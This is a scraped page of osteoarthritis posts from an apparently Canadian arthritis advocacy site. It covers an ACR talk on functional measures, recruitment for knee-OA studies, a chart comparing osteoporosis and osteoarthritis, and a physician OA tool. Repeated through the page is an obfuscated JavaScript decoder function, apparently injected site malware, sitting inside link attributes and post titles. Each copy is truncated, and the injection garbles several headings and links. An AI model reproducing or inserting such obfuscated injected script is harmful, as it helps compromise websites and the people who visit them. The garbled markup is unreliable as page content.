All posts related to "osteoarthritis"

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe arthritis patients" rel="bookmark">ACR News: Mobility Matters – Functional measures and arthritis patients

picture for functional measure at ACR

Image courtesy of Ambro at FreeDigitalPhotos.net

Stephanie Studenski, MD, MPH, Chief of the Longitudinal Studies Section at the NIH National Institute on Aging, spoke about the importance of functional measurement in patients with reduced performance due to arthritis problems

As part of ACE’s leadership, along with the Canadian Association for Retired Persons (CARP) and Alzheimer’s Society of BC, in the development and launch of the Walk10Blocks app, we learned walking is good for your health. Research shows that even walking 10 city blocks a day, equivalent to about 2,000 – 3,000 steps or 1 km, can help delay dementia and may help improve cardiovascular and joint health over time.

Today at the ACR/ARHP annual meeting, Stephanie Studenski, MD, MPH, Chief of the Longitudinal Studies Section at the NIH National Institute on Aging, spoke about the importance of functional measurement in patients with reduced performance due to arthritis problems:
“Rheumatology was among the first disciplines to develop functional measures such as the 50-foot walk and grip strength, and in my original training as a rheumatologist, I was struck by how potentially powerful and meaningful these functional measurements are.” She added: “We’ve found that these measures are powerful predictors of overall effect in adults, including risk of hospitalization, length of stay, hospital-related complications, surgery related complications and overall survival.”

Continue reading

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe get active!" rel="bookmark">Knee pain? Join the SuPRA study and get active!

Knee pain? Join the SuPRA study and get active!

Participate in a new study that will use wearable activity trackers, paired with a new web application, and physical activity counselling to help you get more active!

Picture of runner's leg from knee to feet Knee osteoarthritis (OA) is a major cause of chronic pain and disability. Physical activity can help to decrease pain and disability in joints affected by OA while benefiting your overall health.

If you are a person living with knee pain or knee OA, and interested in getting more active, we invite YOU to participate in the SuPRA study. Through participating in SuPRA you will learn how to get active with knee OA. You will be asked to attend an education session, use a Fitbit Flex activity tracker with the new web application, and receive counselling from a registered physiotherapist. The total time commitment for the study is 9 months. Enrol now to start in January 2018!

If you are interested, please fill out a 3-minute screening questionnaire.All responses will remain confidential, and you will be contacted by a research staff member within 48 hours to discuss your eligibility further.

Survey Link: http://open.arthritisresearch.ca/survey/index.php?r=survey/index/sid/143586/lang/en.

For more information, contact Halima Elmi, Research Coordinator at 604-207-4053 or 1-844-707-4053, or via email at supra.activity@arthritisresearch.ca.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0/" title="Permalink to University of British Columbia Survey: Running and knee osteoarthritis" rel="bookmark">University of British Columbia Survey: Running and knee osteoarthritis

University of British Columbia Survey: Running and knee osteoarthritis

What do the public and healthcare professionals think about the effects of running on knee joint health?

Male jogger's leg to represent knee OA survey

This online survey should take approximately 15 minutes to complete.

A research group co-led by Drs. Michael Hunt and Jean-Francois Esculier at the University of British Columbia is currently conducting a survey investigating how people perceive the appropriateness of running for maintaining knee joint health. This online survey should take approximately 15 minutes to complete.

You may be able to participate if you:

  • Are aged 40 years and older (except for healthcare professionals)
  • Have access to the Internet to complete the survey
  • Speak English or French

Participation is anonymous and no information will identify you. Should you have any questions, feel free to contact Dr. Jean-Francois Esculier at jean-francois.esculier@ubc.ca.

The survey can be found here:
https://survey.ubc.ca/s/running-kneeOA/

Do you know if you have osteoporosis or osteoarthritis?

Osteoarthritis and osteoporosis are different diseases but often there is confusion between these two diseases. This is especially true among older adults. Research by Burgener et al. suggests that although many older adults have heard of osteoporosis, many know very little about it. This is important as having a good understanding of osteoporosis helps to prevent and treat the disease. Below is a chart highlighting the differences between osteoporosis and osteoarthritis.

Question Osteoporosis
(bone+thin=thin bones)
Osteoarthritis
(bone+joint pain=joint damage)
What is it?
  • thin fragile bones that can break easily
  • bone mass loss can occur without any symptoms
  • often a fracture is the first symptom OP is present. Typical fracture locations are the wrist, spine and the hip
  • a frequent cause of height loss and acquired spine curve 'dowager's lump'
  • early detection is important to prevent OP
  • a loss of cartilage in the joint, extra bone formation and reduced joint movement
  • most common form of arthritis
  • typical symptoms are pain, loss of movement, and stiffness
  • common joints affected: hands, base of thumbs, tips and middle joints of the fingers, neck, back hips, knees, feet, first toes (bunion) or spine
  • does not affect other organs
Who gets it?
  • 1.4 million Canadians have OP
  • 1 in 4 women over the age of 50
  • 1 in 8 men over the age of 50
  • however, the disease can strike at any age
  • 2.9 million Canadians have OA
  • women more than men (2 out of 3 women)
  • hip and knee OA usually occurs after age 50
  • affects 30% of people over age 75 but is not simply apart of getting old
  • genetic factors and obesity
Who is at risk?
  • being female
  • fracture with minimal trauma after the age of 40
  • small and thin body frames
  • anyone with rheumatoid arthritis speeds up the rate of OP
  • family history of OP
  • some medications including heparin (blood thinner), anti-seizure drugs and long term use of corticosteroids (such as Prednisone)
  • links to persons with obesity, diabetes and cartilage disorders
  • occupational trauma over time
  • sports injuries
Things that increase your risk.
  • loss of menstrual cycle in young women
  • lack of vitamin D and calcium
  • chronic diseases like rheumatoid arthritis and Hepatitis C
  • excessive intake of alcohol and caffeine
  • poor nutrition
  • lack of exercise
  • being Caucasian or Asian
  • obesity increases risk of OA of the hand 3 times
  • a weight gain of 10kg (22 lb) almost doubles one's risk of OA of the knee

 

 

 

Below is a infographic on the Global Impact of Osteoporosis from Cigna.

osteoporosis infographic

Living well with osteoporosis in Canada

It is normal to feel anxious when first diagnosed with osteoporosis. Some patients are concerned they may break their bones again (or fracture a second time if a broken bone was part of the initial diagnosis). As a result, some may stop participating in social and physical activities. This can lead to feelings of loneliness, depression and helplessness. It is important to know that you are not alone. With the help of medications, your health care team, and lifestyle changes, and others living with osteoporosis, you can reduce your risk of fracture and, in some cases, improve bone mass.

Osteoporosis Canada provides helpful resources on how to manage osteoporosis. They also operate a toll-free information line (English: 1-800-463-6842/French: 1-800-977-1778). Information counsellors discuss your concerns, send appropriate information and, if there is one, refer you to a Chapter or support group near you. To learn more about living well with osteoporosis, please function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe-you/living-well-with-osteoporosis/some-first-steps/">click here. To learn more about osteoarthritis, please click here.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe healthcare professionals think about the effects of running on knee joint health?" rel="bookmark">What do the public and healthcare professionals think about the effects of running on knee joint health?

Banner title for knee OA and<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe running survey” width=”600″ height=”131″ />What do the public and healthcare professionals think about the effects of running on knee joint health?

This online survey should take approximately 15 minutes to complete.

A research group co-led by Drs. Michael Hunt and Jean-Francois Esculier at the University of British Columbia is currently conducting a survey investigating how people perceive the appropriateness of running for maintaining knee joint health. This online survey should take approximately 15 minutes to complete.

You may be able to participate if you:

  • Are aged 40 years and older (except for healthcare professionals)
  • Have access to the Internet to complete the survey
  • Speak English or French

Participation is anonymous and no information will identify you. Should you have any questions, feel free to contact Dr. Jean-Francois Esculier at jean-francois.esculier@ubc.ca.

The survey can be found here:
https://survey.ubc.ca/s/running-kneeOA/

Worried about osteoarthritis? The Osteoarthritis (OA) Tool can help!

Osteoarthritis OA Tool Slide Image

The College of Family Physicians of Canada (CFPC), the Arthritis Alliance of Canada (AAC), and the Centre for Effective Practice (CEP) have joined forces to develop the Osteoarthritis (OA) Tool to help family physicians and other health care providers understand that osteoarthritis is a common, treatable, chronic illness by providing a tool that helps providers:

  • Identify, assess, and monitor OA
  • Equip patients for high quality self-management
  • Recommend specific non-pharmacologic and pharmacologic therapies

We encourage you to raise your voice to support this important initiative by:

  • Posting to Twitter using the hashtag #OATool
  • Promoting this initiative in your professional networks, such as LinkedIn, using the hashtag #OATool
  • Writing to us at feedback@jointhealth.org to share your impressions of the tool